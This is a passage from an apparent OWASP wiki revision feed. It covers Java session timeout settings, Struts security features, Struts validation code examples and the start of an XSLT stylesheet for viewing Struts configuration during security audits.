&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;web-app xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&lt;br /&gt;
	xmlns=&amp;quot;http://java.sun.com/xml/ns/javaee&amp;quot; xmlns:web=&amp;quot;http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd&amp;quot;&lt;br /&gt;
	xsi:schemaLocation=&amp;quot;http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd&amp;quot;&lt;br /&gt;
	id=&amp;quot;WebApp_ID&amp;quot; version=&amp;quot;3.0&amp;quot;&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	...&lt;br /&gt;
	&lt;br /&gt;
	&amp;lt;!-- Define a session timeout to 15 minutes --&amp;gt;&lt;br /&gt;
	&amp;lt;session-config&amp;gt;&lt;br /&gt;
		&amp;lt;session-timeout&amp;gt;15&amp;lt;/session-timeout&amp;gt;&lt;br /&gt;
	&amp;lt;/session-config&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	...	&lt;br /&gt;
	&lt;br /&gt;
&amp;lt;/web-app&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Timeout defined Programmatically'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.javaproject.sessiontimeout;&lt;br /&gt;
&lt;br /&gt;
import java.io.IOException;&lt;br /&gt;
&lt;br /&gt;
import javax.servlet.ServletException;&lt;br /&gt;
import javax.servlet.annotation.WebServlet;&lt;br /&gt;
import javax.servlet.http.HttpServlet;&lt;br /&gt;
import javax.servlet.http.HttpServletRequest;&lt;br /&gt;
import javax.servlet.http.HttpServletResponse;&lt;br /&gt;
import javax.servlet.http.HttpSession;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Code sample showing how to access to session timeout and act on it.&lt;br /&gt;
 */&lt;br /&gt;
@SuppressWarnings(&amp;quot;serial&amp;quot;)&lt;br /&gt;
@WebServlet(&amp;quot;/SessionTimeout&amp;quot;)&lt;br /&gt;
public class SessionTimeoutCodeSample extends HttpServlet {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * {@inheritDoc}&lt;br /&gt;
	 * &lt;br /&gt;
	 * @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest,&lt;br /&gt;
	 *      javax.servlet.http.HttpServletResponse)&lt;br /&gt;
	 */&lt;br /&gt;
	@SuppressWarnings(&amp;quot;boxing&amp;quot;)&lt;br /&gt;
	@Override&lt;br /&gt;
	protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {&lt;br /&gt;
		// Get reference on session object&lt;br /&gt;
		HttpSession session = req.getSession();&lt;br /&gt;
&lt;br /&gt;
		// Display session timeout value defined in &amp;quot;web.xml&amp;quot;&lt;br /&gt;
		// Value here is specified in seconds...&lt;br /&gt;
		System.out.printf(&amp;quot;Session timeout defined at application level : %s\n&amp;quot;, session.getMaxInactiveInterval());&lt;br /&gt;
&lt;br /&gt;
		// Change session timeout for this session and display new timeout value&lt;br /&gt;
		// Value here is defined in seconds...&lt;br /&gt;
		session.setMaxInactiveInterval(60);&lt;br /&gt;
		System.out.printf(&amp;quot;Session timeout defined at code level : %s\n&amp;quot;, session.getMaxInactiveInterval());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Session timeout defined at application level : 900&lt;br /&gt;
Session timeout defined at code level        : 60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Impact of the session timeout on security and best practices==&lt;br /&gt;
Session timeout define action window time for a user thus this window represents, in the same time, the delay in which an attacker can try to steal and use a existing user session...&lt;br /&gt;
 &lt;br /&gt;
For this, it's best practices to :&lt;br /&gt;
* Set session timeout to the minimal value possible depending on the context of the application.&lt;br /&gt;
* Avoid &amp;quot;infinite&amp;quot; session timeout.&lt;br /&gt;
* Prefer declarative definition of the session timeout in order to apply global timeout for all application sessions.&lt;br /&gt;
* Trace session creation/destroy in order to analyse creation trend and try to detect anormal session number creation (application profiling phase in a attack).&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Struts&amp;diff=235305</id>
		<title>Struts</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Struts&amp;diff=235305"/>
				<updated>2017-11-10T21:53:15Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
'''Content to be finalized.  First draft'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
[https://www.owasp.org/index.php/Category:OWASP_Java_Project Struts] is an [[Apache]] framework aimed at simplifying the creation of dynamic web applications in [[Java]].&lt;br /&gt;
&lt;br /&gt;
Struts is built on a MVC architecture, which means the application is arranged into 3 primary types of code.  These are know as a Model, View and Controller.  The Model defines the structure of your data being processed.  The View defines everything that a end user can see.  The controller take the model as submitted from the page, performs business logic on the data, then decides what view should be responsible for displaying the result.&lt;br /&gt;
&lt;br /&gt;
I will not spend any more time talking about the architecture of struts.  If you would like to have more information on that topic, I suggest going to the [http://struts.apache.org/ official website].&lt;br /&gt;
&lt;br /&gt;
==Security in the Model==&lt;br /&gt;
&lt;br /&gt;
===Validation===&lt;br /&gt;
&lt;br /&gt;
The Struts Validation Framework is the primary method of validating a struts based application.  Struts validation consists of a few elements to be setup.  To properly use Struts validation your application should have the following...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A validator-rules.xml file in the WEB-INF folder.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A validator.xml in the WEB-INF folder.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;All ActionForms should extend org.apache.struts.validator.ValidatorForm or org.apache.struts.validator.ValidatorActionForm instead of org.apache.struts.action.ActionForm.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The commons-validator.jar in WEB-INF.  This can be obtained [http://commons.apache.org/validator/ here].&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The Validator plug-in should be enabled in struts-config.xml&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;plug-in className=&amp;quot;org.apache.struts.validator.ValidatorPlugIn&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;set-property property=&amp;quot;pathnames&amp;quot; value=&amp;quot;/WEB-INF/validator-rules.xml,/WEB-INF/validator.xml&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/plug-in&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Examples====&lt;br /&gt;
&lt;br /&gt;
[[Struts Validation in an ActionForm]]&lt;br /&gt;
&lt;br /&gt;
[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
&lt;br /&gt;
[[Struts Validation in validator.xml using a DynaValidatorForm]]&lt;br /&gt;
&lt;br /&gt;
==Security in the View==&lt;br /&gt;
&lt;br /&gt;
===Output Sanitation===&lt;br /&gt;
&lt;br /&gt;
[[Output sanitation]] is the process of ensuring that your output does not contain HTML or XML specific characters.  So, for example a '&amp;lt;' becomes '&amp;amp;amp;lt;'.  This should be used as a secondary [[Cross-site Scripting (XSS)|XSS]] prevention method.  Primary method of prevention should be validation.  Luckily some Struts tags include output sanitation by default.  If you're tag is not here, then you should implement sanitation manually.&lt;br /&gt;
&lt;br /&gt;
====Sanitized tags====&lt;br /&gt;
*bean:Write (may be overwritten by setting filter to false)&lt;br /&gt;
*html:Hidden&lt;br /&gt;
*html:Messages (if the value is of type String)&lt;br /&gt;
*html:Multibox&lt;br /&gt;
*html:OptionsCollection (may be overwritten by setting filter to false)&lt;br /&gt;
*html:Options (may be overwritten by setting filter to false)&lt;br /&gt;
*html:Option '''(you must set filter to true)'''&lt;br /&gt;
*html:Radio&lt;br /&gt;
*html:TextArea&lt;br /&gt;
*html:File&lt;br /&gt;
*html:Hidden&lt;br /&gt;
*html:Password&lt;br /&gt;
*html:Text&lt;br /&gt;
&lt;br /&gt;
==Security in the Controller==&lt;br /&gt;
&lt;br /&gt;
===Roles===&lt;br /&gt;
&lt;br /&gt;
In the struts-config.xml configuration file it is possible to specify a roles attribute, a comma-delimited list of security role names that are allowed access to the ActionMapping object.  This is pretty much all that you get out of the box.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;action&lt;br /&gt;
     roles=&amp;quot;administrator,contributor&amp;quot;&lt;br /&gt;
     path=&amp;quot;/article/Edit&amp;quot;&lt;br /&gt;
     parameter=&amp;quot;org.article.FindByArticle&amp;quot;&lt;br /&gt;
     name=&amp;quot;articleForm&amp;quot;  &lt;br /&gt;
     scope=&amp;quot;request&amp;quot;&amp;gt;&lt;br /&gt;
       &amp;lt;forward&lt;br /&gt;
             name=&amp;quot;success&amp;quot;&lt;br /&gt;
             path=&amp;quot;article.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/action&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Custom Action Mappings===&lt;br /&gt;
&lt;br /&gt;
It is possible to implement far more complex security models if you extend the action mappings.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;TODO: Lots more detail here.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Error Handling===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;TODO: Put some info here&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Common errors and vulnerabilities==&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Form_Field_Without_Validator|Form Field Without Validator]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Plug-in_Framework_Not_In_Use|Plug-in Framework Not In Use]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Unused_Validation_Form|Unused Validation Form]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Unvalidated_Action_Form|Unvalidated Action Form]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Validator_Turned_Off|Validator Turned Off]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Validator_Without_Form_Field|Validator Without Form Field]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Form_Does_Not_Extend_Validation_Class|Form Does Not Extend Validation Class]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Erroneous_validate.28.29_Method|Erroneous validate() Method]]&lt;br /&gt;
&lt;br /&gt;
[[Improper_Data_Validation#Struts:_Duplicate_Validation_Forms|Duplicate Validation Forms]]&lt;br /&gt;
&lt;br /&gt;
==Auditing Tools==&lt;br /&gt;
&lt;br /&gt;
[[Struts XSLT Viewer]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Struts]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Struts_Validation_in_an_ActionForm&amp;diff=235304</id>
		<title>Struts Validation in an ActionForm</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Struts_Validation_in_an_ActionForm&amp;diff=235304"/>
				<updated>2017-11-10T21:53:03Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* struts-config.xml&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
    &amp;lt;struts-config&amp;gt;&lt;br /&gt;
        &amp;lt;form-beans&amp;gt;&lt;br /&gt;
            &amp;lt;form-bean name=&amp;quot;logonForm&amp;quot; type=&amp;quot;net.jcj.LogonForm&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/form-beans&amp;gt;&lt;br /&gt;
        &amp;lt;action-mappings&amp;gt;&lt;br /&gt;
            &amp;lt;action path=&amp;quot;/Logon&amp;quot; forward=&amp;quot;/pages/Logon.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;action path=&amp;quot;/LogonSubmit&amp;quot; type=&amp;quot;app.jcj.LogonAction&amp;quot; name=&amp;quot;logonForm&amp;quot; &lt;br /&gt;
               scope=&amp;quot;request&amp;quot; validate=&amp;quot;true&amp;quot; input=&amp;quot;/pages/Logon.jsp&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;forward name=&amp;quot;success&amp;quot; path=&amp;quot;/pages/Welcome.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;forward name=&amp;quot;failure&amp;quot; path=&amp;quot;/pages/Logon.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;/action&amp;gt;&lt;br /&gt;
        &amp;lt;/action-mappings&amp;gt;&lt;br /&gt;
        &amp;lt;message-resources parameter=&amp;quot;resources.application&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/struts-config&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* net.jcj.LogonForm&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package net.jcj;&lt;br /&gt;
&lt;br /&gt;
import javax.servlet.http.HttpServletRequest;&lt;br /&gt;
import org.apache.struts.action.*;&lt;br /&gt;
&lt;br /&gt;
public class LogonForm extends ActionForm&lt;br /&gt;
{&lt;br /&gt;
  private String userId = null;&lt;br /&gt;
  private String password = null;&lt;br /&gt;
&lt;br /&gt;
  public void setUserId (String userId){&lt;br /&gt;
    this.userId = userId ;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public String getUserId(){&lt;br /&gt;
    return this.userId ;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public void setPassword (String password){&lt;br /&gt;
    this.password = password;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public String getPassword(){&lt;br /&gt;
    return this.password;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Resets all properties to their default values.&lt;br /&gt;
     */&lt;br /&gt;
    public void reset(ActionMapping mapping, HttpServletRequest request) {&lt;br /&gt;
      this.userId = null;&lt;br /&gt;
      this.password = null;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Validates the form.  Returns a list of action&lt;br /&gt;
     * Of course in a production environment, your rules would be far more strict than this.&lt;br /&gt;
     */&lt;br /&gt;
  public ActionErrors validate( &lt;br /&gt;
      ActionMapping mapping, HttpServletRequest request ) {&lt;br /&gt;
      ActionErrors errors = new ActionErrors();&lt;br /&gt;
      &lt;br /&gt;
      if( getUserId() == null || getUserId().length() &amp;lt; 1 ) {&lt;br /&gt;
        errors.add(&amp;quot;userId&amp;quot;,new ActionMessage(&amp;quot;error.userid.required&amp;quot;));&lt;br /&gt;
      }&lt;br /&gt;
      if( getPassword() == null || getPassword().length() &amp;lt; 1 ) {&lt;br /&gt;
        errors.add(&amp;quot;password&amp;quot;,new ActionMessage(&amp;quot;error.password.required&amp;quot;));&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      return errors;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Struts_Validation_in_validator.xml_using_an_ActionForm&amp;diff=235303</id>
		<title>Struts Validation in validator.xml using an ActionForm</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Struts_Validation_in_validator.xml_using_an_ActionForm&amp;diff=235303"/>
				<updated>2017-11-10T21:52:53Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* Integration with commons validator&lt;br /&gt;
* A bit awkward, but it gets the job done.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* struts-config.xml&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
    &amp;lt;struts-config&amp;gt;&lt;br /&gt;
      &amp;lt;form-beans&amp;gt;&lt;br /&gt;
          &amp;lt;form-bean name=&amp;quot;logonForm&amp;quot; type=&amp;quot;net.jcj.LogonForm&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;/form-beans&amp;gt;&lt;br /&gt;
      &amp;lt;action-mappings&amp;gt;&lt;br /&gt;
          &amp;lt;action path=&amp;quot;/Logon&amp;quot; forward=&amp;quot;/pages/Logon.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;action path=&amp;quot;/LogonSubmit&amp;quot; type=&amp;quot;app.jcj.LogonAction&amp;quot; name=&amp;quot;logonForm&amp;quot; &lt;br /&gt;
             scope=&amp;quot;request&amp;quot; validate=&amp;quot;true&amp;quot; input=&amp;quot;/pages/Logon.jsp&amp;quot;&amp;gt;&lt;br /&gt;
              &amp;lt;forward name=&amp;quot;success&amp;quot; path=&amp;quot;/pages/Welcome.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;forward name=&amp;quot;failure&amp;quot; path=&amp;quot;/pages/Logon.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/action&amp;gt;&lt;br /&gt;
      &amp;lt;/action-mappings&amp;gt;&lt;br /&gt;
      &amp;lt;message-resources parameter=&amp;quot;resources.application&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;plug-in className=&amp;quot;org.apache.struts.validator.ValidatorPlugIn&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;set-property property=&amp;quot;pathnames&amp;quot; value=&amp;quot;/technology/WEB-INF/validator-rules.xml, /WEB-INF/validation.xml&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;/plug-in&amp;gt;&lt;br /&gt;
    &amp;lt;/struts-config&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* net.jcj.LogonForm&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package net.jcj;&lt;br /&gt;
&lt;br /&gt;
import javax.servlet.http.HttpServletRequest;&lt;br /&gt;
import org.apache.struts.action.*;&lt;br /&gt;
&lt;br /&gt;
public class LogonForm extends ActionForm&lt;br /&gt;
{&lt;br /&gt;
  private String userId = null;&lt;br /&gt;
  private String password = null;&lt;br /&gt;
&lt;br /&gt;
  public void setUserId (String userId){&lt;br /&gt;
    this.userId = userId ;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public String getUserId(){&lt;br /&gt;
    return this.userId ;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public void setPassword (String password){&lt;br /&gt;
    this.password = password;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public String getPassword(){&lt;br /&gt;
    return this.password;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Resets all properties to their default values.&lt;br /&gt;
     */&lt;br /&gt;
    public void reset(ActionMapping mapping, HttpServletRequest request) {&lt;br /&gt;
      this.userId = null;&lt;br /&gt;
      this.password = null;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Validates the form.  Returns a list of action&lt;br /&gt;
     * Of course in a production environment, your rules would be far more strict than this.&lt;br /&gt;
     */&lt;br /&gt;
  public ActionErrors validate( &lt;br /&gt;
      ActionMapping mapping, HttpServletRequest request ) {&lt;br /&gt;
      return new ActionErrors();&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* validation.xml &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form-validation&amp;gt;&lt;br /&gt;
  &amp;lt;formset&amp;gt;&lt;br /&gt;
    &amp;lt;form name=&amp;quot;logonForm&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;field property=&amp;quot;userId&amp;quot; depends=&amp;quot;required&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;arg0 key=&amp;quot;prompt.userId&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;/field&amp;gt;&lt;br /&gt;
      &amp;lt;field property=&amp;quot;password&amp;quot; depends=&amp;quot;required&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;arg0 key=&amp;quot;prompt.password&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;/field&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
  &amp;lt;/formset&amp;gt;&lt;br /&gt;
&amp;lt;/form-validation&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Struts]]&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Struts_XSLT_Viewer&amp;diff=235302</id>
		<title>Struts XSLT Viewer</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Struts_XSLT_Viewer&amp;diff=235302"/>
				<updated>2017-11-10T21:52:41Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here is a quick'n'dirty xslt transformations to quickly visualize Struts config files (very useful on security audits)&lt;br /&gt;
&lt;br /&gt;
Dinis note: Java guys, please edit and link to the correct place&lt;br /&gt;
&lt;br /&gt;
== sample_struts.xml ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot; ?&amp;gt;&lt;br /&gt;
&amp;lt;?xml-stylesheet type=&amp;quot;text/xsl&amp;quot; href=&amp;quot;strutsBasicMapping.xslt&amp;quot;?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- general USER mappings --&amp;gt;&lt;br /&gt;
&amp;lt;struts-config&amp;gt;&lt;br /&gt;
&amp;lt;/struts-config&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strutsBasicMapping.xslt ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;xsl:stylesheet version=&amp;quot;1.0&amp;quot; xmlns:xsl=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot; xmlns:xs=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;xsl:output version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot; omit-xml-declaration=&amp;quot;no&amp;quot; indent=&amp;quot;no&amp;quot; media-type=&amp;quot;text/html&amp;quot;/&amp;gt;&lt;br /&gt;
	&amp;lt;xsl:template match=&amp;quot;/struts-config&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;html&amp;gt;&lt;br /&gt;
			&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
			&amp;lt;head&amp;gt;&lt;br /&gt;
				&amp;lt;style&amp;gt;&lt;br /&gt;
						body { font-family: Arial; font-size: 14 } &lt;br /&gt;
						b  { font-family: Arial;}&lt;br /&gt;
						a { text-decoration: none}&lt;br /&gt;
						i { font-family: verdana}&lt;br /&gt;
						td { font-family: Arial; font-size: 11 } &lt;br /&gt;
						li { font-family: Arial; font-size: 11 } &lt;br /&gt;
						.td_small_font { font-family: Arial; font-size: 11 }&lt;br /&gt;
						.td_LHS_Menu { font-family: Arial; font-size: 11; font-weight: bold; color: white; text-decoration: none}&lt;br /&gt;
						.title { font-family: Arial; font-size: 22} &lt;br /&gt;
						.smallItalic { font-family: verdana; font-size: 08; font-weight: normal;} &lt;br /&gt;
			&amp;lt;/style&amp;gt;&lt;br /&gt;
			&amp;lt;/head&amp;gt;&lt;br /&gt;
&lt;br /&gt;
			&amp;lt;body&amp;gt;&lt;br /&gt;
				&amp;lt;h1&amp;gt;&lt;br /&gt;
					&amp;lt;span style=&amp;quot;font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;struts-config Basic Mappings&amp;lt;/span&amp;gt;&lt;br /&gt;
				&amp;lt;/h1&amp;gt;&lt;br /&gt;
				&amp;lt;br/&amp;gt;&lt;br /&gt;
				&amp;lt;h2&amp;gt;Form Beans&amp;lt;/h2&amp;gt;&lt;br /&gt;
				&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
					&amp;lt;tbody&amp;gt;&lt;br /&gt;
						&amp;lt;tr bgcolor=&amp;quot;navy&amp;quot;&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;Form Bean name&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;Form Bean properties&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
						&amp;lt;/tr&amp;gt;						&lt;br /&gt;
						&amp;lt;xsl:for-each select=&amp;quot;form-beans/form-bean&amp;quot;&amp;gt;&lt;br /&gt;
						  &amp;lt;tr&amp;gt;	&lt;br /&gt;
							&amp;lt;td valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
								&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@name&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;ul&amp;gt;&amp;lt;xsl:for-each select=&amp;quot;form-property&amp;quot;&amp;gt;&lt;br /&gt;
									&amp;lt;li&amp;gt;&lt;br /&gt;
										&amp;lt;b&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;@name&amp;quot;/&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
										: &amp;lt;xsl:value-of select=&amp;quot;@type&amp;quot;/&amp;gt;&lt;br /&gt;
										&amp;lt;xsl:if test=&amp;quot;count(@initial)&amp;gt;0&amp;quot;&amp;gt;&lt;br /&gt;
										 	(initial = &amp;lt;xsl:value-of select=&amp;quot;@initial&amp;quot;/&amp;gt;)&lt;br /&gt;
										&amp;lt;/xsl:if&amp;gt;&lt;br /&gt;
									&amp;lt;/li&amp;gt;&lt;br /&gt;
								&amp;lt;/xsl:for-each&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;						&lt;br /&gt;
						  &amp;lt;/tr&amp;gt;&lt;br /&gt;
						&amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
					&amp;lt;/tbody&amp;gt;&lt;br /&gt;
				&amp;lt;/table&amp;gt;&lt;br /&gt;
				&amp;lt;br/&amp;gt;&lt;br /&gt;
				&amp;lt;h2&amp;gt; global-forwards&amp;lt;/h2&amp;gt;&lt;br /&gt;
				&amp;lt;table border=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot;&amp;gt;&lt;br /&gt;
					&amp;lt;tbody&amp;gt;&lt;br /&gt;
						&amp;lt;tr bgcolor=&amp;quot;navy&amp;quot;&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
								&amp;lt;span style=&amp;quot;color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; &amp;quot;&amp;gt;name&amp;lt;/span&amp;gt;&lt;br /&gt;
							&amp;lt;/td&amp;gt;&lt;br /&gt;
							&amp;lt;td&amp;gt;&lt;br /&gt;
